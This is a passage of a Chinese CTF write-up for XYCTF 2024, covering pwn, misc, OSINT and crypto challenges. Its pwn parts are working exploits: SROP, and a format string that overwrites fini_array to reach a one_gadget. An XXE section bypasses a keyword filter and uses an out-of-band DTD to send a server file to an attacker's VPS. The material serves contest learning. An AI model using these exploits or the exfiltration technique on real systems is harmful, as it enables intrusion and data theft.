# 先栈迁移 然后read读入
payload=b'a'*40+p64(f_syscall_ret)
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x1000
sigframe.rsp = buf_addr+0x8
# sigframe.rbp = buf_addr+0x30
sigframe.rip = sys_ret
payload+=bytes(sigframe)
# payload=b'a'*0x38+p64(pop_rdi)+p64(0xf)+p64(syscall_ret)+p64(0)*12+p64(0)+p64(buf_addr)+p64(buf_addr-8)+p64(0)+p64(0x200)+p64(0)*3+p64(syscall_ret)+p64(0)*9
# payload+=payload.ljust(0x200,b'a')
sd(payload)
pause()

# open
# 往buf上写入flag 栈迁移到buf上 然后打入新布置的栈 
sigframe = SigreturnFrame()
sigframe.rax = 2
sigframe.rdi = flag_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = sys_ret
sigframe.rsp = buf_addr+0x120
# sigframe.rbp = buf_addr+0x120
payload=p64(f_syscall_ret)*2
payload+= bytes(sigframe)
payload+=b'./flag\x00\x00'
payload=payload.ljust(0x120,b'b')


# read 
payload +=p64(f_syscall_ret)
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 3
sigframe.rsi = buf_addr+0x410
sigframe.rdx = 0x30
sigframe.rip = sys_ret
sigframe.rsp = buf_addr+0x240
# sigframe.rbp = buf_addr+0x240
payload += bytes(sigframe)
payload=payload.ljust(0x240,b'c')

# write
payload += p64(f_syscall_ret)
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = buf_addr+0x410
sigframe.rdx = 0x30
sigframe.rip = sys_ret
sigframe.rsp = buf_addr+0x240
# sigframe.rbp = buf_addr+0x240
payload += bytes(sigframe)
sd(payload) # 一次打入
it()


Misc:

game

 

谷歌识图XYCTF{Papers,Please}

XYCTF{Papers Please}

熊博士

 

题目描述:熊大熊二在森林里玩耍的时候捡到了一张小纸条,可能事关森林的安危,但是上面的字他们看不懂,你能帮他们看看这些神秘的字符是什么意思吗?

 
import string
ciper = dict(zip("ZYXWVUTSRQPONMLKJIHGFEDCBA","ABCDEFGHIJKLMNOPQRSTUVWXYZ"))
print("".join([ciper[i].lower() if i in string.ascii_uppercase else i for i in "CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}"]))
#xyctf{liu_ye_mei_you_xiao_jj}

把flag标头改为大写

XYCTF{liu_ye_mei_you_xiao_jj}

babyAIO

给了个压缩包

里边有仨文件,EZAIO里边是

 
from functools import *
from Crypto.Util.number import *
import gmpy2
import libnum

 p = libnum.generate_prime(512)
 q = libnum.generate_prime(512)
 e1 = libnum.generate_prime(150)
 e2 = libnum.generate_prime(150)
 e3 = 65537
 flag = '*****************************************'
 m = libnum.s2n(flag)
 n = p * q
 n_e = e1 * e2
 phi = (p - 1) * (q - 1)
 phi_e = (e1 - 1) * (e2 - 1)
 d_e = gmpy2.invert(e3,phi_e)
 dp = d_e % (e1 - 1)
 c1 = pow(m,e1,n)
 c2 = pow(m,e2,n)
 print('n =', n)
 print('n_e = ', n_e)
 print('c1 =', c1)
 print('c2 =', c2)
 print('dp =', dp)
 print('e3 =', e3)


n = 60984961924036640364806324068224697071843724749390772716648370179057892113876360274026354662527777447902822720596626094363633542717821045035441273653134740082082972528467040631675108058268481211224587979227700303746708094408639881186270901498495613159595719501389800228775436242418332342165682104816100945559
n_e =  528565534050303289402007510968179435618186732104470795324112506464649249469837867028185617
c1 = 14643165800600469237679161939570210679439096911755461832302138620621212724063371108183767129591712055258072458698793819383057004625557577440444773493982158481797933707633029392859049044470914532014267958303995860803871791733761877112192748951375669095992152628840179729532225161446048952172457991042916248568
c2 = 47744166763747993083913069262560688521758241055343711330487778299969300229670028543968082464934326523754042128559756835029869433598546417098582906459369495989688837877596260888669274901459794346656919486877501825652169698125071792901224555479266468029736677586557495945618181583432146191688552560789016927665
dp = 487978202023750799970713551102136558437027925
e3 = 65537

很明显是共模攻击+dp泄露

 
e=65537
dp = 
ne =
n = 
c1 = 
c2 = 
from gmpy2 import * 
from libnum import n2s

def gete1e2():
    for i in range(1,e+1):
            if(dp*e-1)%i == 0:
                    e1=((dp*e-1)//i)+1
                    e2 = ne //e1
                    if e2*e1==ne:
                            print(e1,e2)
                            return e1,e2
e1,e2 = gete1e2()
s,s1,s2 = gcdext(e1,e2)
m = (pow(c1,s1,n) + pow(c2,s2,n)) % n
print(n2s(int(m)))
#the key of txt is XYXY1l0v3y0u and another key is 99 88 77 66

Whats this的密码是XYXY1l0v3y0u

解压得到这个

文件长度不对,扔进cyberchef发现有零宽字符

零宽字符隐写解密

得到

The password is YXemocleW

与原文

The first password is SuyunandXiao, The secord password is ZhaoWuandSuyun, The third password is Shinandlingfeng, The fourth password is nydnandk0rian, The fifth password is faultandalei

另一个文件是base64之后的压缩包

发现是个套娃压缩

写个脚本,这个压缩包用的aes压缩

所以要先提前安装依赖库pyzipper

 
import zipfile
import re
import pyzipper

zipname = "./ez_misc_48.zip"
while True:
        if zipname != "ez_misc_0.zip":
                ts1 = pyzipper.AESZipFile(zipname, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES)
                #print ts1.namelist()[0]
                target_file = ts1.namelist()[0]
                passwdList = [b"SuyunandXiao",b"ZhaoWuandSuyun",b"Shinandlingfeng",b"nydnandk0rian",b"faultandalei",b"YXemocleW"]
                for passwd in passwdList:
                        try:
                                ts1.extract(target_file,"./",pwd=passwd)
                                print("Succeed!")
                        except Exception as e:
                                print(f"{zipname} not password :{passwd}",e)
                zipname = target_file
        else:
                print("end")
                break

zip0里边还有密码,也是那五个密码之一,忘了是哪个了,试一下就行

然后得到一个apk

开始逆向apk,现在有两个密码没用到

分别是rsa给的99 88 77 66 和零宽给的YXemocleW

这个apk有点毛病

解压出来三个classes2-4.hex

然后用jadx打开

 
public class MainActivity extends AppCompatActivity {

    private ActivityMainBinding binding;

    public native String stringFromJNI(String str, String str2);

    static {
        System.loadLibrary("ezvm");
    }

    /* JADX WARN: Multi-variable type inference failed */
    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        this.binding = ActivityMainBinding.inflate(getLayoutInflater());

        setContentView(this.binding.getRoot());

        AlertDialog.Builder Start = new AlertDialog.Builder(this);

        Start.setTitle("欢迎");

        Start.setMessage("点击就送余的珍藏女装照片");

        Start.setPositiveButton("好耶", new DialogInterface.OnClickListener() { // from class: com.example.ezvm.MainActivity.1

            @Override // android.content.DialogInterface.OnClickListener

            public void onClick(DialogInterface dialogInterface, int i) {

                Toast.makeText((Context) MainActivity.this, (CharSequence) "恭喜获得余的珍藏女装照片", 0).show();

            }

        });

        Start.show();

    }

    /* JADX WARN: Multi-variable type inference failed */

    public void onClick(View T) {

        EditText Key = (EditText) findViewById(R.id.et_key);

        EditText Flag = (EditText) findViewById(R.id.et_flag);

        String input = Flag.getText().toString();

        String key = Key.getText().toString();

        Toast.makeText((Context) this, (CharSequence) stringFromJNI(key, input), 0).show();

    }

}

要去找lib库

分析VM(下图需要附件,请去片头的百度云盘下载)

先看main函数

 
contorl_data = 
operMain = {33:("get_inut_flag",1),36:("get_tea_key",1),37:("tea",2),38:("flag_copy_func",5),136:("exit",-1),254:("unknown",3)}
i=0
for j in range(2048):
        op = data[i]
        result = operMain[op]
        print(result[0])
        if result[1] != -1:
                i += result[1]
        else:
                break
                

然后分析tea函数

 
finalTea = {26:("enc_data_plus",2),27:("key_info",2),42:("delta_high_and",3),58:("enc_data_xor",6),74:("shl_4",4),90:("shr_5",5),91:("delta_high_shr_10",5),106:("get_flag_and_delta",7),122:("plus",8),154:("delta_high_and_0",9),170:("shr_4_0---LABEL_29",11),254:("LABEL_29",1)}

i=0
count = 0

for j in range(2048):
        try:
                ops = datas[i]
                temp = finalTea[ops]
                print(temp[0])
                i+= temp[1]
        except:
                i=0
                count += 1
                print("LABEL_2")
        if count >= 0x20:
                break

循环了0x20次(32次)

get_flag_and_delta

shl_4

shr_5

enc_data_xor

enc_data_plus

delta_high_and

key_info

enc_data_xor

LABEL_29

get_flag_and_delta

shl_4

shr_5

enc_data_xor

enc_data_plus

delta_high_shr_10

delta_high_and

key_info

enc_data_xor

LABEL_2

然后按照逻辑反解xtea即可,这个key就是前边拿到的99 88 77 66

然后拿到

https://baby.imxbt.cn/

测了SQL和XXE都没有,可能需要正常登录

因此账户还需要找

密码应该是YXemocleW

没绷住,直接猜出来了(事后问了问于爷,扔一开始那个压缩包里的结尾了,更没绷住)

账户是WelcomeXY

密码是YXemocleW

我还能说什么呢()

 
<?php error_reporting(0); // hint.php 
function waf($replaced_text) { // 替换非可见字符为空 
    $replaced_text = preg_replace('/[^\x20-\x7E]/', '', $replaced_text); 
    $black_list = ['xml', 'XML', 'DOCTYPE', 'ENTITY', 'doctype', 'entity']; 
    foreach ($black_list as $word) 
    { 
        $replaced_text = preg_replace("/$word/i", '', $replaced_text);
     } 
     return $replaced_text; 
}
?>

三写绕过(因为有正则的i不区分大小写)

post请求

 
<?xmxmxmlll version="1.0" encoding="UTF-8"?>
<!DOCdoctdoctypeypeTYPE test [<!ENTententityityITY % xxe SYSTEM "https://7jnsa3.dnslog.cn" > %xxe; ]>
<credentials>
  <username>WelcomeXY</username>
  <password>YXemocleW</password>
</credentials>

然后用dhd外带

修改下边filter协议的file协议那里,然后remote那里的网址换成你的vps的对应dtd文件

 
<?xmxmxmlll version="1.0" encoding="UTF-8"?>
<!DOCdoctdoctypeypeTYPE ANY [
<!ENTenentitytityITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=hint.php">
<!ENententityityTITY % remote SYSTEM "http://ip/back.dtd">%remote;%int;%send;]>
<credentials>
  <username>WelcomeXY</username>
  <password>YXemocleW</password>
</credentials>

dtd文件,改成你的反弹地址,用python3 -m http.server port起服务

 
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip:port/?a=%file;'>">

得到

PD9waHANCmRlZmluZWQoJ0FDQ0VTUycpIG9yIGV4aXQoJ+W5suWYm++8jOWDj+WBt+eqpeaIke+8nycpOw0KDQplY2hvICJ3ZWxs77yBQW5kIG5vdyB5b3UgY2FuIGRvd25sb2FkIHRoZSBuZXdwd24uemlwIGluIC9IQUhBL1BXTiI7DQo/Pg0K

 
<?php
defined('ACCESS') or exit('干嘛,像偷窥我?');

echo "well!And now you can download the newpwn.zip in /HAHA/PWN";
?>

利用exit中的_dl_fini函数控制程序流程 修改fini_array实现两次读写

第一次需要泄露libc和栈地址 然后修改fini_array 程序里已经写出

第二次需要修改返回地址

 
from pwn import *
from ctypes import*
import time 
# -------------------修改区----------------------------
context(log_level='debug',arch='amd64',os='linux')    #arch='amd64',arch='i386'
pwnfile='./XYCTF'
elf = ELF(pwnfile)
libc = ELF('./libc.so.6')
flag=1  # 远程/本地
ip ='127.0.0.1'
port=34965
# -------------------End------------------------------
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
it = lambda : p.interactive()
b=lambda :gdb.attach(p,'b *0x401376')
d=lambda :pause()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
get_leaked_libc64_1 = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
get_leaked_libc32 = lambda :u32(p.recv(4))
get_leaked_libc64_2 = lambda :u64(p.recv(6).ljust(8, b'\x00'))  # 普通泄露 当遇到 0a乱入的时候 或者其他没有0的情况
get_canary = lambda:hex(int(rc(18),16)) # 目前可以利用于格式化字符串的 leak
get_fmt= lambda:int(rc(12),16)

if flag:
    p = remote(ip,port)
else:
    p = process(pwnfile)

libc = cdll.LoadLibrary('libc.so.6') #/lib/x86_64-linux-gnu/libc.so.6
t0=time.time()
libc.srand(int(t0))
v7=libc.rand()
libc.srand(v7 % 5 + 114514)
for i in range(51): 
        result=libc.rand() % 4 + 159357158
        print(result)
        sla("game:",str(result))


payload=b'%20$p%51$p'
payload=payload.ljust(16,b'a')
fini_array=0x4031C0
vuln=0x4012C4
payload+=fmtstr_payload(8,{fini_array:vuln},34)
sa("Now,plz you input:",payload)
ru(b"0x")
stack=get_fmt()
stack0=stack-0x50 #old
leak("old_rbp",stack0)
stack1=stack0-0xb0 #new
ret=stack1+0x8
leak("new_rbp",stack1)
ru(b"0x")
start=get_fmt()
base = start-0x029e40
leak("base",base)

gadget=[0x50a47,0xebc81,0xebc85,0xebc88]
one=base+gadget[1]
payload=fmtstr_payload(6,{ret:one})
sa("Now,plz you input:",payload)

it()

 # rbp         0x7ffccb0b4950 —▸ 0x7ffccb0b49a0 ◂— 0x1
 # rbp        0x7ffccb0b48a0 —▸ 0x7ffccb0b4930 ◂— 0x0

彩蛋

8283677c6aada49697a3898d89

将图片下载出来转成png之后用Stegslove

What keyboard : xn0jtxgoy.p{urp{lbi{abe{c{ydcbt{frb{jab{

根据提示keyboard,想到键盘加密(DVORAK加密)

bl0ckbuster_for_png_and_i_think_yon_can_

比赛须知

130131103124106173164150151163137141137

XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

zip神之套

程序想逆向就逆,不想逆就直接运行一下,反正就是个cout

用习惯ziprello了,我们这次用ARCHPR

打开对应压缩包,攻击类型选择掩码,掩码输入刚刚那个字符,左侧选择数字

就找到密码是xyctf20240401ftcyx

解压得到两个文件,一个是套.zip,一个是flag.zip

里边给了一堆文件,不知道有啥用,看着是培根密码。

很容易发现flag.zip和套.zip里边除了flag.md的区别外,其他文件都是一样的,使用明文攻击

ARCHPR的明文攻击说过很多次了,这里就简单说一下

无非就是将明文文件压缩一下,注意选择的算法是ZipCrypto,压缩格式看要破解的压缩包是哪种情况选择仅压缩还是deflate

然后复制一份有加密的那个压缩包,把里边其他文件删除,就剩一个加密后的明文文件

然后用ARCHPR执行明文攻击

程序有的时候会试图自己恢复密码,咱不需要密码,就只需要三个key就可以。

因此盯着点,看恢复出来秘钥直接终止,把给的三个秘钥粘贴到对应位置

然后打开有加密的压缩包,用当前密钥解密压缩文档(上图最右侧那个按钮)

得到flag.md

打开直接搜XYCTF,就能看见flag了。

(最后锐评一下,真不如前年的Hgame套吧())

(九转大肠我错了,红豆泥私密马赛)

签到

XYCTF2024,启动启动启动!!!

TCPL

zzl的护理小课堂

控制台把下边的代码粘上去,然后点一下提交就有了

其实就是改了一下false语句直接拿flag了

 

document.getElementById('quizForm').addEventListener('submit', function(event) {
    event.preventDefault(); 

    var formData = new FormData(this);
    console.log(111);
    var xhr = new XMLHttpRequest(); 
    xhr.open('POST', 'getScore.php', true); 
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) { 
            var score = xhr.responseText;
            if (false) {
                document.getElementById('scoreDisplay').innerText = "你的分数是: " + score + "/100 杂鱼,怎么才100分啊";
            } else if (false) {
                document.getElementById('scoreDisplay').innerText = "你的分数是: " + score + "/100 naaaa!!";
            } else {
                var flagXhr = new XMLHttpRequest(); 
                flagXhr.open('GET', 'flag.php', true);
                flagXhr.onreadystatechange = function() {
                    if (flagXhr.readyState === 4 && flagXhr.status === 200) {
                        var flag = flagXhr.responseText;
                        document.getElementById('scoreDisplay').innerText = "Flag: " + flag;
                    }
                };
                flagXhr.send(); // 发送请求获取 flag
            }
        }
    };
    xhr.send(formData); // 发送请求获取分数
});
    

Osint

发现图片有水印

按照时间去找就行了

二分法慢慢翻对照时间

https://www.hi2future.com/Mail/showitem/id/494468?page=2

Osint1

接下来搜索滨海新区的话,地点有点多,不容易准确找到目的地,所以还是要使用识图工具。一开始用谷歌识图没有找出来,又用百度识图试了试,出了结果,但是每打开一个相似的图片他的可能结果都是不同的,好办,直接看图片来源

xyctf{江苏省|南通市|滨海东路|黄海},诶诶,打ctf打的)

Osint2

看图的话,能看出来是洛阳龙门开往泸州的列车,网上查到的有G3292/G3293

(这两辆车的奇偶数关系挺好玩,我记得从南京西站开始从3292变更为3293,因为途径北京,入京单数出京双数)

省份自然是河南省

景区没有判断出来

根据已知信息,这是玩完了准备回去

就搜一下洛阳景点

试了一下老君山

就对了

xyctf{G3293|河南省|老君山}

EZ_Base1024*2

https://nerdmosis.com/tools/encode-and-decode-base2048

Rosk,Paper,Scissors!

没绷住,主要难点在于对方程序是先拿到我们输入的,然后再进行预测,打了一个信息差

因为我们要做的就是先替他预测,将自己输入的扔进去康康预测出来的值,我们输入的值是否能赢过预测的值

简单来说就是,去遍历三种可能,每次遍历做了两件事

1、预测当我们出这种可能得时候,对方会出什么

2、我们出的这种可能是否能赢过对方出的

如果可以,返回对应的出拳

如果不可以,换一种可能

如果三种可能都不行,那么抛出异常


from pwn import *
import random
from collections import Counter



rpsbox = {"Rock": 1, "Paper": 2, "Scissors": 3}

resultBox = {"Rock":"Scissors","Paper":"Rock","Scissors":"Paper"} #player win ai as aiInput:playerOutput

# context.log_level = "debug"
def find_keys(dictionary, value):
        for k, v in dictionary.items():
                if v == value:
                        return k

ip="127.0.0.1"
port=
p=None
flag = True

def random_ai(palyerinputs):
        seed = palyerinputs[:-1]
        if len(seed) == 0:
                return random.randint(1, 3)
        else:
                print("tag1",most_common_element(seed))
                return (most_common_element(seed) - 2) % 3 + 1
def most_common_element(arr):
        counter = Counter(arr)
        most_common = counter.most_common(1)
        return most_common[0][0] if most_common else None

while(flag):
        if p is not None:
                p.close()
        p = remote(ip,port)
        p.recvuntil(b"Now, let's start the first round")
        data_0 = random.randint(1, 3)
        data1 =find_keys(rpsbox,data_0)
        p.sendline(data1.encode())
        rubbish = [p.recvline(),p.recvline()]
        recv = p.recvline()
        result1 = (recv == b"You win!\n")
        if result1:
                flag = False

temp = (data_0 - 2) % 3 + 1 
aiinput = find_keys(rpsbox,temp)

p.recvuntil(b"Now, let's start the 2th round\n")
p.sendline(resultBox[aiinput])
print("tag2",temp,data_0,aiinput,resultBox[aiinput])


playerinputs = [data_0,rpsbox[resultBox[aiinput]]]

for i in range(3,100+1):
        flag = False
        for j in ["Rock","Scissors","Paper"]:
                temp_playerinputs = playerinputs[:]
                temp_playerinputs.append(rpsbox[j])
                temp_ai = random_ai(temp_playerinputs)
                aiinput = find_keys(rpsbox,temp_ai)
                if j == resultBox[aiinput]:
                        flag = True
                        data = j
                        break
        if not flag:
                raise Exception("Error");
        print("tag3","> aiinput",aiinput,"\n> temp_ai",temp_ai)
        print("tag4","playerInput","send",data)
        playerinputs.append(rpsbox[data])
        p.recvuntil(f"Now, let's start the {i}th round\n".encode("utf-8"))

        p.sendline(data)
        rubbish = p.recvline()
        result = p.recvline()
        print("tag5","recv_ai:",rubbish)
        print("tag6",i,result)
        print("tag7",playerinputs)
        print("-------------------------next--------------------------")


p.interactive()




我的二维码为啥扫不出来?

根据瞪眼法我们先根据二维码标准恢复出来三个定位符

然后就是遍历可能性爆破去找了

题目加密了7次,我们恢复了4次

所以就是一共有24*24*24*8次可能

24是图片数据计算出来的random范围

8是2的3次方,因为每次遍历都是要恢复这三个值

然后我们就可以用01二进制表示是换行还是列

最后解码即可

 
from PIL import Image
from tqdm import trange
import pyzbar.pyzbar as pyzbar

def reverse_color(x):
    return 0 if x == 255 else 255


def reverse_row_colors(pixels, row, width, block_size=10):
    for x_block in range(width // block_size):
        x = x_block * block_size
        y = row * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)


def reverse_col_colors(pixels, col, height, block_size=10):
    for y_block in range(height // block_size):
        x = col * block_size
        y = y_block * block_size
        for x_small in range(x, x + block_size):
            for y_small in range(y, y + block_size):
                pixel = pixels[x_small, y_small]
                pixels[x_small, y_small] = reverse_color(pixel)

original_img = Image.open("new.png")
width, height = original_img.size
new_img = original_img.copy()
new_img_load = new_img.load()
reverse_row_colors(new_img_load,1,width)
reverse_col_colors(new_img_load,5,height)
reverse_col_colors(new_img_load,2,height)
reverse_col_colors(new_img_load,0,height)
new_img.save(f"./test.png")
original_img = new_img
barcodes = pyzbar.decode(new_img)
print(barcodes)
# print(original_img.size)

for data1 in trange(24):
    for data2 in range(24):
        for data3 in range(24):
            for i in range(2**3):
                lis = [data1,data2,data3]
                new_img = original_img.copy()
                new_img_load = new_img.load()
                bits = bin(i)[2:].rjust(3,"0")
                for j in bits:
                    if j == "0":
                        reverse_col_colors(new_img_load,lis.pop(),height)
                    else:
                        reverse_row_colors(new_img_load,lis.pop(),width)
                barcodes = pyzbar.decode(new_img)
                if barcodes != []:
                    print(barcodes)

美妙的歌声

使用au提取出来频谱图

XYCTF_1s_w3ll

然后用deepsound提取即可

挺简单的(至少不套)

真>签到

密码654321

但是没东西,看16进制发现flag


Crypto:

Sign1n(签到)

 

题目描述:看看密码签到题吧 :D

 
from Crypto.Util.number import *
from tqdm import *
import gmpy2
flag=b'XYCTF{uuid}'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:
    leak += "0"
    if len(leak) == 514:
        break

def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)

    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp

    return ''.join(input_list)

input_str = leak
result = swap_bits(input_str)
a=result

def custom_add(input_str):
    input_list = list(input_str)
    length = len(input_list)
    
    for i in range(length):
        input_list[i] = str((int(input_list[i]) + i + 1) % 10)

    result = ''.join(input_list)
    return result


input_str = a
result = custom_add(input_str)
b=result
print(b)
#12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567799013445689912234577900123467889013356678001245578991223466780113345689912335667890134457789023355788001245568991233566799012455778902335578800124556899113346779011344567991223557880012445788911245667891134457889122355788001244568991123467790012455678912235667900134557889112346779911245578801233467789112355779912234577990233556780113

解密

b = 

def cover(data):
        result = ""
        for i in range(512):
                if data[i] == str((i+1) % 10):
                        result += "0"
                elif data[i] == str((i+2)%10):
                        result += "1"
        return result
data = cover(b)
def swap_bits(input_str):
    input_list = list(input_str[2:])
    length = len(input_list)
    for i in range(length // 2):
        temp = input_list[i]
        input_list[i] = input_list[length - 1 - i]
        input_list[length - 1 - i] = temp
    return ''.join(input_list)
    
temp = swap_bits(data)
for i in range(513+128-len(temp)):
    data = n2s(int(temp,2))
    if data.startswith(b"flag"):
        print(data)
        break
    temp += "0"

happy_to_solve1

 

题目描述:so happy

其实很好算这道题

q= next(xor(p,(2^{512}-1)) )

用人话就是,p和0xfffffff...ffff,一共128个f异或,然后取了下一个质数

首先是素数分布是很临近的,当两个大素数均很大的时候,相邻两个大素数的差值几乎为0

这里不证。我们不妨就把他当做无穷小对待。

我们在这道题不妨就视为q=xor(p,2^{512}-1) + o

这里的o就是无穷小。

我们把里边的数记作q' = xor(p,2^{512}-1)

那么n=pq=p(q'+o)

而0xffff...fff全是1,异或是相同取0不同取1

因此这里就是将p的每一位翻转了。

而我们知道,每一位都不同的两个数相加是0xfffff...fff

p+q = 0xffff...ffff + o

那我只需要遍历o即可,我们又知道o很小,因此遍历

 
from gmpy2 import *
for o in range(1,1000):
        ppq = 2**512  + o
        delta = iroot(ppq**2 - 4*n,2)
        if delta[1]:
                print(ppq,o,delta[0])
                break

'''
13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084304 208 8964401089600431896237665556844982522217198187330409471588816672973107098366085128751256798933968517759197225400739506821493507987351920763327776524060030
'''

这里其实就是解方程,算了个二元一次方程的delta,都是素数了肯定能开根号,因此算能够开完根号的delta就OK

(ppq其实是p plus q,p+q的意思)

然后求解出来q就行

q=\frac{ppq \pm \delta}{2},这里算一下就知道是个减号

 
from gmpy2 import *
from libnum import n2s

p=11186104509771514497905845277525414324848282003961401424656189058347435564219816052776565548550435972724614541793612778837623695399649245354880712765072167
q=2221703420171082601668179720680431802631083816630991953067372385374328465853730924025308749616467454965417316392873272016130187412297324591552936241012137
n=24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c=14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e=65537
assert n==p*q
phi = (p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,n)
print(n2s(int(m)))

babyRSAMAX

 

题目描述:听说你们数学很好,我不信我不信;)

gift1 = p^e -q^e \pmod{n}

gift2 = (p+q)^e \pmod{n}

(p+q)^e = p^e + C_e^1pq^{e-1} + C_e^2p^2q^{e-2} + \cdots + C_e^{e-1}p^{e-1}q + q^e

显然中间每项都含有pq,即n,因此取模消去

gift2 \equiv p^e+q^e \pmod{n}

我们把其简写为g1,g2

g_2+g_1 \equiv 2p^e \pmod{n}

g_2 - g_1\equiv 2q^e \pmod{n}

我们不妨记

t_1 = \frac{g_2+g_1}{2},t_2 = \frac{g_2-g_1}{2}

那么有

t_1 \equiv p^e \pmod{n}

t_2 \equiv q^e \pmod{n}

证明:

g_1 = p^e - q^e +k_1n

g_2 = p^e + q^e + k_2n

g_1 + g_2 = 2p^e + (k_1+k_2)n

\frac{g_1+g_2}{2} = p^e + \frac{k_1+k_2}{2}n

t_1 \equiv p^e \pmod{n}

B光滑数算法求出来p,q

 
N = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
a=2
n=2
from gmpy2 import *

while True:
    a = pow(a, n, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("n=",n)
        print("p=",res)
        print("q=",q)
        break
    n += 1
'''
n= 97241
p= 236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q= 166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199
'''

然后求出来e

 
t=65537
p=236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q=166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199
N=39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
y=1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217
from gmpy2 import *
from libnum import n2s
phi = (p-1)*(q-1)
d=invert(t,phi)
print(n2s(int(pow(y,d,N))))
# XYCTF{e==4096}

然后本来用的AMM开根号,我琢磨着估计是因为有中国剩余定理在,没办法直接计算,因此用Rabin算法解密

脚本是直接用的sage脚本解密,如果报错没有long_to_bytes函数就把这个删掉,自己手动n2s得到flag

 
n=
p=
q=
c=
e=4096


R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
res1 = f.roots()

R.<x> = Zmod(q)[]
f = x ^ e - c
f = f.monic()
res2 = f.roots()

for i in res1:
    for j in res2:
        n_list = [int(i[0]),int(j[0])]
        a_list = [p,q]
        m = CRT_list(n_list,a_list)
        flag = long_to_bytes(int(m))
        print(flag)

这里保留之前的东西,因为有离散对数求解问题:

我们回到t_1 \equiv p^e \pmod{n}

我们可以把他拆成两部分,不妨记为m1,m2

m_1 \equiv p^e \pmod{p} \equiv 0

m_2 \equiv p^e \pmod{q}

很显然m1和m2是t1经过中国剩余定理后分解的值

而m1是0

因此t1 % q就是m2

而q是个光滑数

因此可以使用PH算法(下列代码需要在sage中运行)

 
def Polig_Hellman(g,y,p):
    factors, exponents = zip(*factor(p-1))
    temp=[]
    for i in range(len(factors)):
        q=factors[i]
        a=[]
        for j in range(1,exponents[i]+1):
            gg=pow(g,((p-1)//q^j),p)
            yy=pow(y,((p-1)//q^j),p)
            for k in range(q):
                s=0
                for t in range(len(a)):
                    s+=a[t]*q^t
                s+=k*q^(len(a))
                if pow(gg,s,p)==yy:
                    a.append(k)
                    break
        x_q=0
        for j in range(len(a)):
            x_q+=a[j]*q^j
        temp.append(x_q)
    f=[]
    for i in range(len(factors)):
        f.append(factors[i]^exponents[i])
    return crt(temp,f)
pass

p = 
q = 
gift1 = 
gift2 = 
m2 = (gift1 + gift2)//2  % q
e = Polig_Hellman(p,m2,q)
print(e)
print(pow(p,e,q)==m2)
# 154045536598689193284873070831209700586611746672999844153695017754405980038323753228821622727128960010445708620515034020256488503662644704000286059068363760

开2^i次方根,i就是rounds,这里开根号就是AMM算法的一部分,但是对于原题不知道为啥没法用,哎哎哎

 
def crack(p,q,c0,rounds):
        c = c0
        s1 = (p-1)//2
        s2 = (q-1)//2
        m0 = pow(c,(s1+1)//2,p)
        m1 = pow(c,(s2+1)//2,q)
        m = result([m0,m1],[p,q])
        for i in range(rounds-1):
                c=m
                m0 = pow(c,(s1+1)//2,p)
                m1 = pow(c,(s2+1)//2,q)
                m = result([m0,m1],[p,q])
        return m
        

两个e满足e=e_p + k_1(q-1) = e_q + k_2(p-1)

有中国剩余定理

e \equiv e_p \pmod{q-1}

然后到这儿就算不出来了,无论是反代回去gift2还是直接rabin解密也没法求了。

后来才发现e就是4096,不用求离散对数了。

x0r

 

题目描述:nc版签到

无非就是xor,先用他给的iv加上自己的数据去得到KeyBox,也就是key_block

然后与明文进行解密得到m

然后一个for循环就行

 
from pwn import *
